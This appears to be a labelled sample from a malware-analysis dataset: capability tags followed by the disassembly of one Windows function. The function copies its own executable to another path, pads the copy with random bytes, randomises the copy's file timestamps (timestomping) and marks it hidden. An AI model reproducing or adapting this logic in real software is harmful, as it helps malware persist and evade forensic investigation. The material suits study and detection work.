Function at 0x4054f0
Capabilities:
Read file on windows
Set file attributes
Timestomp file
Write file on windows

Disassembly:
sub esp, 0x4b4
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x4c8]
xor ebp, ebp
cmp edi, ebp
mov dword [esp + 0x24], ebp
mov dword [esp + 0x28], ebp
mov dword [esp + 0x2c], ebp
je 0x405549
push 0x5c
push edi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
test eax, eax
je 0x405549
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc0]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x40555d
lea ecx, [esp + 0xc0]
push 0xff
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x38]
push 1
lea eax, [esp + 0xc4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_OpenFile]
mov esi, eax
cmp esi, ebp
je 0x405591
lea ecx, [esp + 0x30]
lea edx, [esp + 0x24]
push ecx
push ebp
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0xc0]
push 0x40d164
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
add esp, 8
cmp ebx, ebp
mov dword [esp + 0x20], ebx
je 0x40585d
push ebp
push 0xffffffffffffffff
push ebp
mov ebp, dword [esp + 0x4d8]
push ebp
call fcn.00404e80
add esp, 0x10
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x4d8]
lea edx, [esp + 0xc0]
test eax, eax
mov edi, 0x40d438
jne 0x4055ed
mov edi, 0x40d15c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xc0]
push ecx
push ebp
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x405844
mov esi, dword [sym.imp.MSVCRT.dll_fread]
push ebx
push 0x400
lea edx, [esp + 0xc8]
push 1
push edx
call esi
mov ebp, dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
test eax, eax
je 0x405681
push edi
push eax
lea eax, [esp + 0xc8]
push 1
push eax
call ebp
add esp, 0x10
test eax, eax
je 0x405668
mov dword [esp + 0x2c], 1
push ebx
push 0x400
lea ecx, [esp + 0xc8]
push 1
push ecx
call esi
add esp, 0x10
test eax, eax
jne 0x40564b
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov eax, dword [esp + 0x4d8]
mov esi, dword [sym.imp.MSVCRT.dll_rand]
add esp, 8
test eax, eax
je 0x4056e1
call esi
cdq
mov ecx, 0x64
idiv ecx
inc edx
mov eax, edx
dec edx
test eax, eax
je 0x4056e1
lea ebx, [edx + 1]
push edi
call esi
and eax, 0x800003ff
jns 0x4056ca
dec eax
or eax, 0xfffffc00
inc eax
push eax
lea ecx, [esp + 0xc8]
push 1
push ecx
call ebp
add esp, 0x10
dec ebx
jne 0x4056b9
mov ebx, dword [esp + 0x20]
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x28]
add esp, 4
test eax, eax
je 0x405844
mov eax, dword [esp + 0x4cc]
lea edx, [esp + 0x38]
push 1
push edx
push eax
call dword [sym.imp.KERNEL32.dll_OpenFile]
mov ebx, eax
test ebx, ebx
je 0x405840
mov eax, dword [esp + 0x4d4]
test eax, eax
je 0x40580b
mov ebp, dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x24]
push ecx
push edx
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
test eax, eax
je 0x40579e
call esi
cdq
mov ecx, 0xa
idiv ecx
sub edx, ecx
add word [esp + 0x10], dx
call esi
cdq
mov ecx, 0xc
idiv ecx
inc edx
mov word [esp + 0x12], dx
call esi
cdq
mov ecx, 0x1c
idiv ecx
inc edx
mov word [esp + 0x16], dx
call esi
cdq
mov ecx, 0x3c
idiv ecx
inc edx
mov word [esp + 0x18], dx
call esi
cdq
mov ecx, 0x3c
idiv ecx
lea eax, [esp + 0x10]
inc edx
mov word [esp + 0x1a], dx
lea edx, [esp + 0x24]
push edx
push eax
call edi
lea ecx, [esp + 0x10]
lea edx, [esp + 0x30]
push ecx
push edx
call ebp
test eax, eax
je 0x40580b
call esi
cdq
mov ecx, 0xa
idiv ecx
sub edx, ecx
add word [esp + 0x10], dx
call esi
cdq
mov ecx, 0xc
idiv ecx
inc edx
mov word [esp + 0x12], dx
call esi
cdq
mov ecx, 0x1c
idiv ecx
inc edx
mov word [esp + 0x16], dx
call esi
cdq
mov ecx, 0x3c
idiv ecx
inc edx
mov word [esp + 0x18], dx
call esi
cdq
mov ecx, 0x3c
idiv ecx
lea eax, [esp + 0x10]
inc edx
mov word [esp + 0x1a], dx
lea edx, [esp + 0x30]
push edx
push eax
call edi
lea ecx, [esp + 0x30]
lea edx, [esp + 0x24]
push ecx
push 0
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x4d4]
test eax, eax
je 0x405840
mov eax, dword [esp + 0x4cc]
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ebx, dword [esp + 0x20]
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x30]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4b4
ret
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x4b4
ret